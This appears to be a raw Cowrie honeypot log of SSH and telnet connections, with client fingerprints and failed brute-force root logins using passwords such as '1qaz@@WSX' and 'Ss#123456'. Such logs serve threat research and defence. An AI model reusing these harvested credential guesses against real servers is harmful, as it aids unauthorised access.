{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:30.070741Z","src_ip":"180.247.63.92","session":"845f57bc92cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@@WSX","message":"login attempt [root/1qaz@@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:31.154981Z","src_ip":"180.247.63.92","session":"845f57bc92cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:32.420697Z","src_ip":"180.247.63.92","session":"845f57bc92cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":43106,"dst_ip":"10.17.0.5","dst_port":22,"session":"470853ac4f5f","protocol":"ssh","message":"New connection: 210.90.155.178:43106 (10.17.0.5:22) [session: 470853ac4f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:35.941081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:35.945499Z","src_ip":"210.90.155.178","session":"470853ac4f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:36.146206Z","src_ip":"210.90.155.178","session":"470853ac4f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ss#123456","message":"login attempt [root/Ss#123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:36.984725Z","src_ip":"210.90.155.178","session":"470853ac4f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:38.188020Z","src_ip":"210.90.155.178","session":"470853ac4f5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":55978,"dst_ip":"159.203.135.109","dst_port":22,"session":"b80f76a911b0","protocol":"ssh","message":"New connection: 162.241.33.238:55978 (159.203.135.109:22) [session: b80f76a911b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:52.358701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:52.363150Z","src_ip":"162.241.33.238","session":"b80f76a911b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:52.392565Z","src_ip":"162.241.33.238","session":"b80f76a911b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C3l0!S3cur3#W0rd","message":"login attempt [root/C3l0!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:52.483042Z","src_ip":"162.241.33.238","session":"b80f76a911b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:35:53.516723Z","src_ip":"162.241.33.238","session":"b80f76a911b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":37858,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f54ab9c181a","protocol":"ssh","message":"New connection: 176.32.39.21:37858 (10.17.0.5:22) [session: 6f54ab9c181a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:01.873425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:01.877949Z","src_ip":"176.32.39.21","session":"6f54ab9c181a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:01.994350Z","src_ip":"176.32.39.21","session":"6f54ab9c181a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19952010","message":"login attempt [root/19952010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:02.347667Z","src_ip":"176.32.39.21","session":"6f54ab9c181a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:03.466671Z","src_ip":"176.32.39.21","session":"6f54ab9c181a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":52046,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e53fa56530","protocol":"telnet","message":"New connection: 137.184.5.188:52046 (159.203.135.109:23) [session: d2e53fa56530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:08.962615Z"}
{"eventid":"cowrie.session.closed","duration":55.66917085647583,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:12.393458Z","src_ip":"107.6.151.170","session":"217cbbaa30e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":45754,"dst_ip":"159.203.135.109","dst_port":22,"session":"73da23e89596","protocol":"ssh","message":"New connection: 67.231.24.5:45754 (159.203.135.109:22) [session: 73da23e89596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:29.604970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:29.609476Z","src_ip":"67.231.24.5","session":"73da23e89596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:29.633942Z","src_ip":"67.231.24.5","session":"73da23e89596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0PStack@S3cur3!","message":"login attempt [root/0PStack@S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:29.688434Z","src_ip":"67.231.24.5","session":"73da23e89596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:30.707956Z","src_ip":"67.231.24.5","session":"73da23e89596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":39952,"dst_ip":"159.203.135.109","dst_port":23,"session":"721b8bc324ad","protocol":"telnet","message":"New connection: 165.154.162.193:39952 (159.203.135.109:23) [session: 721b8bc324ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:33.473971Z"}
{"eventid":"cowrie.session.closed","duration":0.0042188167572021484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:33.478059Z","src_ip":"165.154.162.193","session":"721b8bc324ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":39960,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f4c7f3d01d","protocol":"telnet","message":"New connection: 165.154.162.193:39960 (159.203.135.109:23) [session: d2f4c7f3d01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:33.609525Z"}
{"eventid":"cowrie.session.closed","duration":33.515116691589355,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:42.477569Z","src_ip":"137.184.5.188","session":"d2e53fa56530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":34090,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aef1c58e455","protocol":"ssh","message":"New connection: 203.121.40.210:34090 (159.203.135.109:22) [session: 8aef1c58e455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:42.909961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:42.914160Z","src_ip":"203.121.40.210","session":"8aef1c58e455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:43.240490Z","src_ip":"203.121.40.210","session":"8aef1c58e455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!!!","message":"login attempt [root/qwe123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:44.615403Z","src_ip":"203.121.40.210","session":"8aef1c58e455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:45.857200Z","src_ip":"203.121.40.210","session":"8aef1c58e455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.069621562957764,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:51.679060Z","src_ip":"165.154.162.193","session":"d2f4c7f3d01d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":59744,"dst_ip":"159.203.135.109","dst_port":23,"session":"27684623fb4f","protocol":"telnet","message":"New connection: 165.154.162.193:59744 (159.203.135.109:23) [session: 27684623fb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:51.756252Z"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:51.760426Z","src_ip":"165.154.162.193","session":"27684623fb4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.89.249.3","src_port":58420,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d16a330de7","protocol":"ssh","message":"New connection: 185.89.249.3:58420 (10.17.0.5:22) [session: 60d16a330de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.237918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.241619Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.330299Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:eb:0b:0a:e8:d8:cc:00:77:a0:70:51:f4:b8:d1:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkRKJthDVINNgQ+ih7CcZfB6i+hRTBYzlGcfr+8dvMGETuzpJxl0YTOxA0ypg4vvequlVGP1yuHAVVLWr5J2xdx7yT34kuljYKtbvPKeufKITdjevN9oJnRPaBbwErl/QC/2wb4uQTmCtt5D02RJ98SDJC3ZHiw6DUbRAQxFca9Xb54Bx1iYgCketRck+Uxuh2r/hUwnpwMpn6/mG1Anen9aYdqDcqAmv/eljU5FZ7ODRXyyuyVIqvkennmtXygoPW/n9chhxebvEI6icEXCxrrwwtQDuhkmaet8s/yVw2r7+fW29TIIs2NsfqqUgZ0lpiXVfRjVrm7mWtesusKk9b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:eb:0b:0a:e8:d8:cc:00:77:a0:70:51:f4:b8:d1:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.743567Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:eb:0b:0a:e8:d8:cc:00:77:a0:70:51:f4:b8:d1:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkRKJthDVINNgQ+ih7CcZfB6i+hRTBYzlGcfr+8dvMGETuzpJxl0YTOxA0ypg4vvequlVGP1yuHAVVLWr5J2xdx7yT34kuljYKtbvPKeufKITdjevN9oJnRPaBbwErl/QC/2wb4uQTmCtt5D02RJ98SDJC3ZHiw6DUbRAQxFca9Xb54Bx1iYgCketRck+Uxuh2r/hUwnpwMpn6/mG1Anen9aYdqDcqAmv/eljU5FZ7ODRXyyuyVIqvkennmtXygoPW/n9chhxebvEI6icEXCxrrwwtQDuhkmaet8s/yVw2r7+fW29TIIs2NsfqqUgZ0lpiXVfRjVrm7mWtesusKk9b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.749297Z","src_ip":"185.89.249.3","session":"60d16a330de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.84.96","src_port":50464,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ca0c624f6d5","protocol":"ssh","message":"New connection: 159.65.84.96:50464 (159.203.135.109:22) [session: 8ca0c624f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:36:58.795962Z"}
